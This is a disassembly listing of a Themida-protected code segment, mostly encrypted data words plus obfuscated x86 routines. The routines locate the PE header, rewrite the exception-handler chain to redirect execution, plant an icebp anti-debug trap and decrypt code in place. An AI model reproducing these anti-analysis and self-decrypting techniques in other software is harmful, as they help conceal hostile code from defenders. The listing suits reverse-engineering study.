		dd 28Dh, 83F88B00h, 112709BDh, 840F0006h, 3CFh,	283D8589h
		dd 0BD830611h, 6112709h, 0D7840F01h, 0E9000003h, 8, 2FBD90Fh
		dd 4F5E135Bh, 2709BD83h, 0F030611h, 38786h, 68A0F00h, 29000000h
		dd 1132DD8Dh, 6A6006h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 65D40FC3h, 0EE47BF45h, 8C66B193h
		dd 0D98D89D9h, 80061117h, 6A04E1h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 493E19C3h, 8BE5D2CCh
		dd 0FC90AFAh, 8F84h, 65BD8B00h,	8B061132h, 111BF585h, 0DDFDBF06h
		dd 853320B0h, 6110305h,	31D59D23h, 0BB900611h, 1E87D0CAh
		dd 1567BB50h, 66900CBDh, 6AF88Bh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 30C35545h, 5E02E430h, 0A6E843A8h
		dd 0DD5B531h, 0C8680611h, 816333C4h, 0C7372434h, 8A0F632Ch
		dd 6, 0F1C7CF81h, 95FF383Fh, 6112AC1h, 8899D89h, 85890611h
		dd 614BD76h, 1E11BD8Bh,	3E90611h, 0F8000002h, 0BD6E858Bh
		dd 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 89DCD8C3h, 1800C7DBh, 0BB000000h,	0F2186AAh
		dd 0BD72B58Bh, 85090614h, 6111475h, 14E9858Bh, 8B0F0611h
		dd 6, 29099D89h, 6890611h, 8B54D780h, 111BF585h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 9589132Ah, 61114F9h,	0F044689h, 483h, 14BB6600h, 82BF5028h
		dd 89264268h, 6A2434h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0C85B21C3h, 7AA52882h, 0FF6DD8C6h
		dd 14BD6EB5h, 4E806h, 3FF0000h,	5250001Fh, 0FE8h, 0DA477B00h
		dd 9D5E314Bh, 3EDF125Ch, 7E7AED37h, 391BD7BBh, 310F5B30h
		dd 0EE8h, 6C60CD00h, 63ACCD3Dh,	8350E0D8h, 60A9E6E8h, 585A5F61h
		dd 8B666050h, 0BE9D3h, 6F3D0000h, 0DC7EBA2Ch, 7EC701F7h
		dd 448B6147h, 52500424h, 0FE8h,	0BFA1F100h, 0D3D15803h
		dd 61978FDAh, 0BAE0623Ch, 0F5F32B3h, 8B585A31h,	24448900h
		dd 38A0F04h, 66000000h,	6A58FA8Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 799CC357h
		dd 0BD76858Dh, 6A0614h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 7AB50AC3h, 0DD303F76h, 51AEC827h
		dd 5FDEBF0Fh, 0F98B6690h, 0D78B6050h, 0E9DEB160h, 10h
		dd 419B31FEh, 0A106BB24h, 270575C6h, 0AC0E21A0h, 57906161h
		dd 1F45BD8Bh, 605F0611h, 29A607BEh, 61B7B602h, 2AC195FFh
		dd 6A0611h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 6600CDC3h, 6BA5E381h, 11E9h, 0AFBA5F00h
		dd 0E14FE3BBh, 0B6989116h, 19229C34h, 6A61060Dh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 1FB5C356h, 7D9C65F5h, 85C733D6h, 6112709h, 3, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0FBC35242h, 0EBACF5F4h
		dd 5DD5DB7Dh, 76BD83E9h, 614BDh, 2E840Fh, 44E90000h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0D716C356h, 0A819D8Bh, 0BD890611h, 61100C1h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 89C08B00h
		dd 1105A1BDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 459D8BE7h, 89061108h, 110435B5h
		dd 9BD8306h, 3061127h, 48E850Fh, 0BF660000h, 0BD8313F7h
		dd 614BD76h, 7D840F00h,	6A000004h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 9DB6C357h
		dd 4C9AEF64h, 0F8F334ABh, 0FD58D09h, 9D330611h,	6112369h
		dd 0BD76B5FFh, 6A0614h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0A352A0C3h, 10E9h, 0F7D04B00h, 54C0A895h
		dd 2B31AEFAh, 1D88ADD5h, 9195FF85h, 0E9061132h,	0Ah, 0EC8021DAh
		dd 677A2C2Fh, 0B58BEEB4h, 614BD6Ah, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 91C35242h, 0E89C13C1h, 0Fh
		dd 38CA8C92h, 0B0E8DDA3h, 8CD0FA7Eh, 8BA71E00h,	1107C9BDh
		dd 6C75F06h, 10001h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 30C35343h, 2159806h, 309BD33h, 13E90611h
		dd 3F000000h, 300156C8h, 6B78D1AFh, 0BB66A88Bh,	7B23A428h
		dd 6650A0AEh, 89F478BFh, 6A2434h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0FF9182C3h, 14BD76B5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 415F3919h, 0B7FBCC80h, 0E995FFF1h, 6A061100h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0DCAAC350h, 5F9AC863h, 0BD6AB58Bh, 6A0614h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 98C2B3C3h, 25858B51h, 6A061114h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0C066C356h
		dd 0A9359522h, 8B0F8916h, 5, 1BE78166h,	0C4868989h, 89000000h
		dd 11048DB5h, 13E906h, 0F6110000h, 28B887AAh, 0C010981Bh
		dd 250CB52Ch, 0A134A1E4h, 5D958BA4h, 6A061128h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 10B0C355h, 9D8B60E8h, 61107C1h, 0D4E78166h, 10E96146h
		dd 71000000h, 13751C36h, 0DFF79AF0h, 0E270AD8Dh, 8398B35Bh
		dd 6A04C2h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 9582EFC3h, 8E0F52F8h, 6, 3A59D2Bh, 895F0611h
		dd 0AEB32050h, 0D062858Dh, 0D3810614h, 3594516Ch, 14E9h
		dd 482BEE00h, 77B6ADA3h, 0F4509BDAh, 0A818F5C8h, 13CEB84Dh
		dd 0B8868943h, 0B3000000h, 0BB006A2Eh, 46C076A2h, 0D4DB589h
		dd 0B5FF0611h, 614BD76h, 0FFDA8B66h, 112B6595h,	9D095006h
		dd 6110F79h, 890F505Bh,	0Fh, 0AE9h, 1506E700h, 0E66F37E0h
		dd 8956A1F6h, 0BE82434h, 0FF000000h, 0F8407E56h, 6AEEACA2h
		dd 0EB746B7h, 76B5FF5Fh, 290614BDh, 1112698Dh, 2995FF06h
		dd 6A06110Eh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 98A3C351h, 0BFFBB70Fh,	1F11B1C1h
		dd 2761BD83h, 0F000611h, 5384h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0F31248C4h
		dd 56F5469Eh, 859501B4h, 50061112h, 6A243489h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 5B18C352h, 0A49B4E31h
		dd 0DBB70FF4h, 0BD76B5FFh, 6A0614h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 231298C3h
		dd 0B2ED3F49h, 66ECAC68h, 0FFE71BBFh, 1112F195h, 0FFD6B306h
		dd 14BD76B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 8DD14A5Dh, 0E9DD77FFh, 9,	94CBC005h
		dd 68151E3Eh, 0B995FFE9h, 6A061105h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 17FCC353h
		dd 8DD79C37h, 4DBD2B35h, 83061128h, 11013DBDh, 840F0206h
		dd 40h,	31B9B589h, 9E90611h, 79000000h,	0DF359B45h, 0A1B023Bh
		dd 3101858Bh, 6A0611h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0E4F962C3h, 0C645h, 0D2FBB66h, 4D585C7h
		dd 611h, 9D890000h, 6113489h, 0FFF376E9h, 50006AFFh, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 56432EFDh, 6128EE1Ah, 0A9BF66EFh, 0C694BFD1h, 0C18B0249h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0BDC35747h
		dd 0CE927FFh, 0F1000000h, 0BC60FDE4h, 5DA888A2h, 0BA66115Eh
		dd 0F00E0000h, 0EA81h, 0C283F000h, 3D958914h, 83061121h
		dd 858D14EAh, 616527Bh,	35FF6450h, 0
; ---------------------------------------------------------------------------
		mov	large fs:0, esp
		call	$+5
		pop	eax
		sub	eax, edx
		and	eax, 0FFFFF000h


loc_59EDD4:				; CODE XREF: Themida_:0059EDF6j
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_59EDF1
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	loc_59EDFB


loc_59EDF1:				; CODE XREF: Themida_:0059EDD9j
		sub	eax, 1000h
		jmp	loc_59EDD4
; ---------------------------------------------------------------------------


loc_59EDFB:				; CODE XREF: Themida_:0059EDEBj
		mov	ecx, eax
		mov	[ebp+6111499h],	eax
		add	eax, [eax+3Ch]
		movzx	edx, word ptr [eax+6]
		mov	[ebp+6110231h],	edx
		mov	edx, [eax+50h]
		mov	[ebp+61133E1h],	edx
		add	eax, 0F8h
		mov	edx, [eax+0Ch]
		add	edx, ecx
		mov	[ebp+6113479h],	edx
		add	edx, [eax+8]
		mov	[ebp+6112771h],	edx
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_59EE54
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_59EE54:				; CODE XREF: Themida_:0059EE3Cj
		cmp	dword ptr [ebp+6111DB9h], 0
		jz	loc_59EE85
		mov	byte ptr [ebp+61106D1h], 47h
		push	0D49AA7D2h
		push	dword ptr [ebp+6110FD1h]
		lea	eax, [ebp+614747Fh]
		call	eax
		push	0
		call	eax
		mov	[ebp+6110C19h],	eax


loc_59EE85:				; CODE XREF: Themida_:0059EE5Bj
		mov	edx, ebx
		lea	ecx, [ebp+6165369h]
		sub	[ebp+6113219h],	ebx
		mov	[ebp+611285Dh],	ecx
		cmc
		mov	dword ptr [ebp+6112DD1h], 65FCh
		push	0
		push	edi
		call	sub_59EEAF
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59EEAF	proc near		; CODE XREF: Themida_:0059EEA7p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_59EEAF	endp

; ---------------------------------------------------------------------------
		db 0E0h
; ---------------------------------------------------------------------------
		push	ebx
		stosb
		shl	byte ptr [ebx-6A62F641h], cl
		or	edx, [ecx]
		push	es
		mov	dword ptr [ebp+6112709h], 0
		mov	[ebp+611347Dh],	edi
		push	dword ptr [ebp+61106B9h]
		push	0
		push	eax
		call	sub_59EEEC
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59EEEC	proc near		; CODE XREF: Themida_:0059EEE4p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_59EEEC	endp

; ---------------------------------------------------------------------------
		dd 0FFD5ABFBh, 111DA995h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 952317DEh
		dd 6112621h, 95FF006Ah,	61105C5h, 4AEBC08Bh, 0C9CCCEDBh
		dd 36B25B43h, 64432DFh,	9952C624h, 2E95F5CFh, 8AFB16Bh
		dd 7A61EDFCh, 0D4B4A57Ah, 0F7A88248h, 311894DDh, 0B9D6D36Dh
		dd 945FA69Fh, 9124A712h, 0A6C2E97Eh, 0B09DAA44h, 0D2DECE9Dh
		dd 87CD064Fh, 19471055h, 8D8DE378h, 6165452h, 5A1B589h
		dd 8D890611h, 611285Dh,	266DBD8Bh, 85C70611h, 6112DD1h
		dd 6704h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	0DFC35343h, 0A31E6446h,	0BF662F2Bh, 85C7E5CFh
		dd 6112709h, 0
; ---------------------------------------------------------------------------
		xor	[ebp+611036Dh],	esi
		push	dword ptr [ebp+61103A1h]
		mov	edx, esi
		call	dword ptr [ebp+6111DA9h]
		push	0
		push	ebp
		call	sub_59EFEF
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59EFEF	proc near		; CODE XREF: Themida_:0059EFE7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_59EFEF	endp

; ---------------------------------------------------------------------------
		icebp
		jmp	loc_59F011
; ---------------------------------------------------------------------------
		db 2 dup(53h), 0AFh
		dd 8AA5B87Ah, 8F845820h
; ---------------------------------------------------------------------------
		xchg	eax, ecx


loc_59F011:				; CODE XREF: Themida_:0059F000j
		push	0
		call	dword ptr [ebp+61105C5h]
		mov	eax, eax
		jmp	short loc_59F065
; ---------------------------------------------------------------------------
		db 0FAh, 36h, 97h
		dd 48DB8A0Eh, 0F1FCCCF3h, 0FE55FDE3h, 0B41A749Bh, 6C5C5793h
		dd 37FF4D79h, 0FE1A8674h, 7AB4E3F2h, 0A312185Fh, 2EBAFC7Fh
		dd 880E05C2h, 3D2F03A4h, 5DAC87DEh, 718E4E7Ah, 2EA4293h
		dd 0B0B5C834h, 0A21B1AE5h
		db 3Dh
; ---------------------------------------------------------------------------


loc_59F065:				; CODE XREF: Themida_:0059F01Bj
		call	sub_59F06F
		mov	edx, 7B3BE6CAh

; =============== S U B	R O U T	I N E =======================================



sub_59F06F	proc near		; CODE XREF: Themida_:loc_59F065p
		pop	edx
		jnp	loc_59F07C
		sub	[ebp+611125Dh],	edx


loc_59F07C:				; CODE XREF: sub_59F06F+1j
		add	edx, 6CADh
		clc
		sub	ebx, ebx
		mov	edi, [ebp+6110B85h]


loc_59F08B:				; CODE XREF: sub_59F06F+6Aj
		push	dword ptr [ebx+edx]
		mov	si, 6D8Eh
		pop	ecx
		mov	[ebp+611024Dh],	ebx
		add	ecx, 4DC2E793h
		xor	di, 5DC1h
		xor	ecx, 63A0889Ah
		mov	ax, si
		xor	ecx, 31CFEF28h
		mov	[ebp+6111591h],	edi
		push	ecx
		mov	[ebp+6110949h],	ecx
		pop	dword ptr [edx+ebx]
		mov	eax, [ebp+6111C35h]
		sub	edi, 22BC4D5Bh
		sub	ebx, 4
		stc
		cmp	ebx, 0FFFF93C8h
		jnz	loc_59F08B
		mov	di, 58B2h
		and	[eax+31h], bl
		push	ecx
		enter	3131h, 1
		adc	[edx], dl
		imul	eax, edx, 2575BB50h
		add	[ebx+25062575h], dh
		xor	[ecx], eax
		add	[edx+61h], esi
		retn	6A1Eh
sub_59F06F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 13h,	0BCh, 26h
		dd 206BE9BEh, 1002D965h, 57213132h, 78886EF1h, 46803516h
		dd 11D3516h, 0D7463132h, 9E4C2FF1h, 36B2E825h, 9F0E5C11h
		dd 8013134h, 3148C3Bh, 972A3723h, 7103A93h, 40E359Ah, 400130E5h
		dd 0C8503158h, 10013131h, 51C26812h, 257DBBh, 62575B3h
		dd 1013127h, 84C26073h,	259CB878h, 0AB07203Dh, 8DBCB2CCh
		dd 8072021h, 452B53Dh, 26B3132h, 102D960h, 0DA213132h
		dd 14886BF1h, 64803516h, 101D3516h, 5A433132h, 0DED0BF1h
		dd 76D5B14Bh, 27BACCFFh, 6934D2F8h, 40013045h, 0C8513158h
		dd 10013131h, 50C26912h, 2575BBh, 62575B3h, 1013125h, 0BCC26172h
		dd 0C1D96976h, 81EA30F0h, 62BAA171h, 585356D4h,	0F6CA8F52h
		dd 92605236h, 15A8841Bh, 810E3723h, 17FF157Eh, 2291D6B3h
		dd 485A5342h, 0BB2DF1B1h, 40ED8B2h, 0C63E3132h,	0BDF94BDDh
		dd 6D11AAA8h, 95D9AF1Fh, 7309BA8Eh, 36808C33h, 6E5B3723h
		dd 8DFD79B9h, 132D34A7h, 38805734h, 40ECE04h, 400131E8h
		dd 0C8563158h, 10013131h, 57C26E12h, 254DBBh, 62575B3h
		dd 101312Ah, 0A8C26675h, 1BE62187h, 37F0A4B9h, 0D1823723h
		dd 0AD943A3Bh, 84072039h, 870ED80Bh, 101318Dh, 0A848ACB9h
		dd 18A3723h, 75015B33h,	100132DAh, 0CB5C1132h, 206DB86Fh
		dd 2645B036h, 1012A36h,	43547432h, 2F158D80h, 63DA52AFh
		dd 16E851CAh, 82013132h, 68E0B496h, 63F2BAFEh, 16BF931h
		dd 8002D960h, 1A213132h, 74886BF1h, 54803516h, 8183516h
		dd 56433132h, 0AD8443F1h, 820C9EAEh, 806B34F3h,	4002D963h
		dd 79213132h, 5C8868F1h, 4C803516h, 4153516h, 53403132h
		dd 38807DF1h, 0B427AA2h, 4034B43Dh, 33E83132h, 94013132h
		dd 0B7186587h, 4D6944F9h, 7DAE8F74h, 0C79F425Ah, 0D8CC096h
		dd 46107F0Ch, 0B9D08B54h, 13B90A80h, 89013132h,	0C1B2B5C5h
		dd 88E0CE2Ah, 60D8BACAh, 8E5CA439h, 0FD8C3723h,	2617642Fh
		dd 4779BCBFh, 7CB93724h, 3700A3B1h, 130E3CB7h, 20CE1A34h
		dd 0C8513158h, 10013131h, 50C26912h, 2575BBh, 62575B3h
		dd 1013125h, 0E9836172h, 8BA4F305h, 56006AC0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 8DFCC24h, 0F4B10E0Ch
		dd 0F381667Bh, 0B70F7053h, 55006AF0h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 29C6CDDFh
		dd 39100730h, 8D89B5D0h, 6110701h, 8D8DC38Bh, 61658C0h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0FEC35040h
		dd 14D3AB09h, 39BE6614h, 5D8D898Ah, 6A061128h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0F69EC357h, 0AE041309h, 8B35FF5Bh, 85C7F78Ah, 6112DD1h
		dd 7454h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	3AC35242h, 8174C937h, 0E2F016D6h, 0B1EF8166h, 0C779DB44h
		dd 11270985h, 6, 0B5FFF900h, 61133D5h, 14B1BD89h, 95FF0611h
		dd 6111DA9h, 13E8h, 184C2100h, 652179h,	77106531h, 0E7F71204h
		dd 3B3254D8h, 46F4E081h, 6A5E72DAh, 0C595FF00h,	8B061105h
		dd 783FEBC0h, 3224F2F9h, 7B91CBEBh, 3A5081D4h, 807909ECh
		dd 0FDCD74D4h, 0EA8B5DEFh, 13A418B1h, 860A28F1h, 2A543040h
		dd 664E82FEh, 0F479A5F1h, 0E7008B23h, 9E7E6C4Bh, 154457EBh
		dd 1A8BAD16h, 2ADE5E81h, 46D4D471h, 7F01DC4Bh, 5CD4C855h
		dd 33639852h, 33A9A90Bh, 5AF19826h, 0E2EF5E26h,	60338920h
		dd 0E4FFB44Eh, 0E2F867A5h, 0BEA08929h, 2727E7A3h, 0BA796720h
		dd 22D92DA3h, 8AD71B20h, 3333893Bh, 33831D29h, 0B6C09826h
		dd 35B0C132h, 35D61576h, 63AF8E7Fh, 3E610DD9h, 64839E37h
		dd 59359826h, 251F1523h, 634B8E7Fh, 6AA01DABh, 0CC039E30h
		dd 2281F5B3h, 3C149320h, 336AA1A2h, 25B01526h, 639C8E7Fh
		dd 334DAACEh, 0BEF6D826h, 250A84A3h, 0B624C820h, 35C2C130h
		dd 2EFF6776h, 0B033890Eh, 0B61794E2h, 355BC130h, 35231576h
		dd 63558E7Fh, 3E1C0DD9h, 513D9E37h, 666A9826h, 646474ADh
		dd 4E11CE74h, 0DA8DAB2Eh, 33A69824h, 0CD3DF66h,	0C62C9726h
		dd 2B67D9h, 3B1713EFh, 3335B2CFh, 0B948AB26h, 3A71831h
		dd 63E868ADh, 88005AADh, 33A9982Ch, 33D49BCFh, 7D896F26h
		dd 3C3566A5h, 0CC656CA1h, 0FB4EC3D9h, 38EEDF7Eh, 0FDD697E6h
		dd 0B85667D9h, 6C8EC6E7h, 37A8517Fh, 37881526h,	0BE9C8E7Fh
		dd 2517A1ABh, 932020h, 0FC780000h, 310271E7h, 83C8D007h
		dd 0F4904C7h, 0FFFFF285h, 39B58DFFh, 8D06165Ah,	165A588Dh
		dd 83CF2B06h, 0C88B05E9h, 0F4D5E44Eh, 89DDE99Dh, 324F397Ah
		dd 0B75769C5h, 257A215Fh, 2D2A1C77h, 0F4D54FE8h, 345A1FE4h
		dd 79DB952Eh, 0B9580D0Ah, 27EC3516h, 6F8DE3C3h,	9E39FBAh
		dd 34580D55h, 670E0BCCh, 345A1FE4h, 79DB952Eh, 0B9580D0Ah
		dd 27F10416h, 6F8DE3C3h, 0EDEB95BAh, 0B5580D58h, 0D79A135Fh
		dd 529E9761h, 0B711D6AFh, 52869071h, 9C1E8732h,	3BDA13C1h
		dd 5E5E1CE6h, 37B64A71h, 145E1CB8h, 0BD00DF02h,	0B55A385Ah
		dd 205A3853h, 725E1C8Bh, 54ACDF93h, 345E110Bh, 0A44C2371h
		dd 82047D75h, 4652109Ah, 4BEF2BA4h, 0B5CB9776h,	0B7580D81h
		dd 254D8178h, 0B0511CE4h, 345E1C31h, 4F78189h, 8BB71A4Dh
		dd 5E5E1C2Dh, 37B64F17h, 145E1C8Bh, 0BD05DF9Eh,	0B55A38BEh
		dd 295A3835h, 775E1CB8h, 0E7CFDF0Fh, 74C9F4B4h,	17A1C54Ch
		dd 345E1762h, 6A89CBC5h, 98CA5D89h, 0D844A009h,	34791C06h
		dd 0FFDF7A5Eh, 0B1D34C8Eh, 324A90F2h, 4FE3A7EDh, 0B1A2CC3Ah
		dd 9FDA1322h, 5E5E1C71h, 37B64CB8h, 145E1C5Ch, 0BD06DF76h
		dd 0B55A3853h, 235A38CFh, 745E1CC5h, 0A5E1DFB2h, 0B9D575F6h
		dd 324F095Dh, 520924DDh, 0B151E7AFh, 345E1C0Fh,	0B538ED39h
		dd 365C18BDh, 376098EDh, 0BE511C71h, 345E1CBCh,	0D387A33Ah
		dd 0A8669D48h, 63DB1377h, 0DD5E1C8Bh, 345E1CCAh, 70977B67h
		dd 0DACCE0E6h, 8425A1C8h, 0B4077257h, 3BB61E56h, 345E2592h
		dd 5294968Bh, 34586444h, 1FDB1349h, 0DD5E1C71h,	345E1E40h
		dd 0DC0D1C36h, 345E1C2Dh, 6F9D4737h, 307A4002h,	307A5844h
		dd 345E1CF4h, 0B9D4F32h, 89D71302h, 324F3595h, 34E0C3A5h
		dd 5E181D16h, 37B64D8Bh, 145E1CC5h, 0BD07DFBBh,	0B55A383Dh
		dd 225A38FCh, 755E1C5Ch, 327EDF7Fh, 0D1DB911Fh,	5E580807h
		dd 37B64FC5h, 145E1CE2h, 0BD05DF2Ah, 0B55A38E4h, 2C5A3818h
		dd 775E1C2Eh, 0C829DF44h, 52A7D579h, 5470B57Ch,	6338169h
		dd 0B95F1A60h, 324F2C09h, 358EE33Dh, 2551DD93h,	0B123AB11h
		dd 67DA134Bh, 545E1CC7h, 345F94EDh, 3BA21C71h, 345E1A3Eh
		dd 0C1CB1F5Ch, 55580D28h, 9382496h, 0B1511E89h,	345E1CF4h
		dd 0DC0C1C88h, 345E1C72h, 6E9D4698h, 307A48D5h,	307A58AFh
		dd 345E1C00h, 799D4EC9h, 0BE8014F4h, 32269D16h,	4E012117h
		dd 364898B7h, 0DEDE1C5Ch, 0CDF7A50h, 0B1517C8Bh, 345E1CFCh
		dd 3D1381F4h, 4CDE1AF3h, 0B151F473h, 345E1CDFh,	0DC0D1C36h
		dd 345E1C2Dh, 6F9D4737h, 307A4002h, 307A5844h, 345E1CF7h
		dd 9D9D4F32h, 0CCE1133Eh, 4F781D7h, 0B5381A3Fh,	0F45E1A6Fh
		dd 346B9984h, 34341CC5h, 345DF4B3h, 6D7E1C71h, 78D7457Bh
		dd 70DF1878h, 3448180Ah
		dd 651F1C17h, 576D3E48h, 15B799ECh, 0B9D51AF3h,	324F3DFCh
		dd 345F8B51h, 75DB355Ch, 8A580D2Dh, 4A5F1D17h, 0DC091CE1h
		dd 345E1CC6h, 6B9D43C2h, 307A60F8h, 307A5839h, 345E1C4Bh
		dd 89D4B69h, 8B8EDDEBh,	0D385FC4h, 0B8BB9948h, 34341AF6h
		dd 345DF422h, 6F7E1CB8h, 68D7479Fh, 70DF180Ah, 34451833h
		dd 671D1C8Bh, 8B1C06h, 0A30CF017h, 0BDD3373Bh, 0CB580D91h
		dd 89D57C8Ch, 324F3D0Bh, 0B13FC89Dh, 27DA134Bh,	3B5E1CC4h
		dd 345E1C64h, 0DC669C71h, 34CE99B7h, 34341C5Ch,	345DF478h
		dd 6A7E1C17h, 40D74248h, 70DF18E1h, 344418C6h, 62181C71h
		dd 0AD774D7Bh, 28211FA8h, 3F07A348h, 475B6497h,	343E9984h
		dd 34341CC5h, 345DF4B5h, 6B7E1C71h, 48D7437Bh, 70DF1878h
		dd 3442180Ah, 63191C17h, 0B9528148h, 4C923349h,	0B9D7E3BEh
		dd 324F1338h, 67596438h, 34EC9853h, 34341C2Eh, 345DF442h
		dd 697E1C8Bh, 58D74106h, 70DF18C6h, 34421855h, 611B1CB8h
		dd 0E282539Fh, 0F9232172h, 0DFDF647Bh, 3FA44105h, 0B5385373h
		dd 3B5B93DAh, 345E75F4h, 5DD395B8h, 0BD580D70h,	25569593h
		dd 32269C11h, 67DB13E3h, 0BF5E1CC5h, 4CDF7A35h,	3B7BE37Ah
		dd 345E593Dh, 87B49D5Ch, 5263CD74h, 7DB7D79Ch, 5E5E1C8Bh
		dd 37B64FC5h, 145E1CE2h, 0BD05DF2Ah, 0B55A38E4h, 225A3818h
		dd 775E1C2Eh, 9F19DF44h, 27DE13AAh, 0DD5E1CC5h,	345E1CECh
		dd 0D1B1E938h, 91E94347h, 0ACD109B3h, 0F4756E7Ah, 34DF999Eh
		dd 24B71A9Ah, 8D5E1CC5h, 3480D863h, 345E1DC9h, 3B819DB8h
		dd 0A445255Ch, 0DC0E4E7Eh, 345E1C06h, 2FC9A515h, 22A3B8Ch
		dd 6EDC4EBBh, 2B77F378h, 3B074561h, 3B0C4C6Dh, 6E06461Fh
		dd 640F4C4Fh, 4BEDA7D9h, 5517EE4h, 6C04E268h, 33B68C2Ah
		dd 645E1CB8h, 4FD4B299h, 89D57EF9h, 324F2D8Ah, 6EE391D0h
		dd 0B9580A9Fh, 2201436Fh, 617DA477h, 0B15D6BDEh, 324F1AF5h
		dd 0DD9FD305h, 5F1D178Ah, 91CE14Ah, 5E1CC6DCh, 9D43C234h
		dd 7A60F86Bh, 7A583930h, 5E98330h, 8958A4F3h, 111F49BDh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0A42E8449h, 800D4059h, 8F0F8DE7h, 7, 5840BA51h
		dd 0B5A095Dh, 5E840FC0h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 8DA1C350h
		dd 114E3EB5h, 758D2906h, 8906111Bh, 112BCDBDh, 3B806h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0D9BBDC3h, 827FC900h, 0E6FFD6B5h,	75E38166h
		dd 6A409Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 184FA4C3h, 0BF0F33E2h, 2D9D8BD9h,	8B061101h
		dd 52006AC0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 27BB12F2h, 804C9A29h, 0BD83CBCFh, 61125F1h
		dd 83097500h, 11243DBDh, 19740006h, 0C08B5350h,	403B8h
		dd 49858900h, 8D06110Ah, 13B2909Dh, 5BD3FF06h, 3DBD8358h
